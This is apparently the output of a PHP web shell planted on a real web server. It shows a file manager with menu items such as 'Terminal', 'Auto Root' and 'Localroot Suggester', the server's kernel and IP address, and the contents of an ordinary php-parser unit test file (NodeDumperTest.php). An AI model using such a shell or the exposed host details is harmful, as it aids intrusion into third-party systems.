Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.116.62.169
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
nikic /
php-parser /
test /
PhpParser /
Delete
Unzip
Name
Size
Permission
Date
Action
Builder
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
ErrorHandler
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Internal
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Lexer
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Node
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
NodeVisitor
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
Parser
[ DIR ]
drwxr-xr-x
2018-10-10 09:00
BuilderFactoryTest.php
11.11
KB
-rw-r--r--
2018-10-10 09:00
CodeParsingTest.php
4
KB
-rw-r--r--
2018-10-10 09:00
CodeTestAbstract.php
1021
B
-rw-r--r--
2018-10-10 09:00
CodeTestParser.php
1.89
KB
-rw-r--r--
2018-10-10 09:00
CommentTest.php
1.76
KB
-rw-r--r--
2018-10-10 09:00
ConstExprEvaluatorTest.php
4.06
KB
-rw-r--r--
2018-10-10 09:00
ErrorTest.php
3.53
KB
-rw-r--r--
2018-10-10 09:00
JsonDecoderTest.php
1.28
KB
-rw-r--r--
2018-10-10 09:00
LexerTest.php
9.18
KB
-rw-r--r--
2018-10-10 09:00
NameContextTest.php
3.06
KB
-rw-r--r--
2018-10-10 09:00
NodeAbstractTest.php
9.84
KB
-rw-r--r--
2018-10-10 09:00
NodeDumperTest.php
2.41
KB
-rw-r--r--
2018-10-10 09:00
NodeFinderTest.php
2.32
KB
-rw-r--r--
2018-10-10 09:00
NodeTraverserTest.php
15.23
KB
-rw-r--r--
2018-10-10 09:00
ParserFactoryTest.php
1.06
KB
-rw-r--r--
2018-10-10 09:00
ParserTest.php
7.46
KB
-rw-r--r--
2018-10-10 09:00
PrettyPrinterTest.php
12.14
KB
-rw-r--r--
2018-10-10 09:00
Save
Rename
<?php declare(strict_types=1); namespace PhpParser; use PHPUnit\Framework\TestCase; class NodeDumperTest extends TestCase { private function canonicalize($string) { return str_replace("\r\n", "\n", $string); } /** * @dataProvider provideTestDump */ public function testDump($node, $dump) { $dumper = new NodeDumper; $this->assertSame($this->canonicalize($dump), $this->canonicalize($dumper->dump($node))); } public function provideTestDump() { return [ [ [], 'array( )' ], [ ['Foo', 'Bar', 'Key' => 'FooBar'], 'array( 0: Foo 1: Bar Key: FooBar )' ], [ new Node\Name(['Hallo', 'World']), 'Name( parts: array( 0: Hallo 1: World ) )' ], [ new Node\Expr\Array_([ new Node\Expr\ArrayItem(new Node\Scalar\String_('Foo')) ]), 'Expr_Array( items: array( 0: Expr_ArrayItem( key: null value: Scalar_String( value: Foo ) byRef: false ) ) )' ], ]; } public function testDumpWithPositions() { $parser = (new ParserFactory)->create( ParserFactory::ONLY_PHP7, new Lexer(['usedAttributes' => ['startLine', 'endLine', 'startFilePos', 'endFilePos']]) ); $dumper = new NodeDumper(['dumpPositions' => true]); $code = "<?php\n\$a = 1;\necho \$a;"; $expected = <<<'OUT' array( 0: Stmt_Expression[2:1 - 2:7]( expr: Expr_Assign[2:1 - 2:6]( var: Expr_Variable[2:1 - 2:2]( name: a ) expr: Scalar_LNumber[2:6 - 2:6]( value: 1 ) ) ) 1: Stmt_Echo[3:1 - 3:8]( exprs: array( 0: Expr_Variable[3:6 - 3:7]( name: a ) ) ) ) OUT; $stmts = $parser->parse($code); $dump = $dumper->dump($stmts, $code); $this->assertSame($this->canonicalize($expected), $this->canonicalize($dump)); } public function testError() { $this->expectException(\InvalidArgumentException::class); $this->expectExceptionMessage('Can only dump nodes and arrays.'); $dumper = new NodeDumper; $dumper->dump(new \stdClass); } }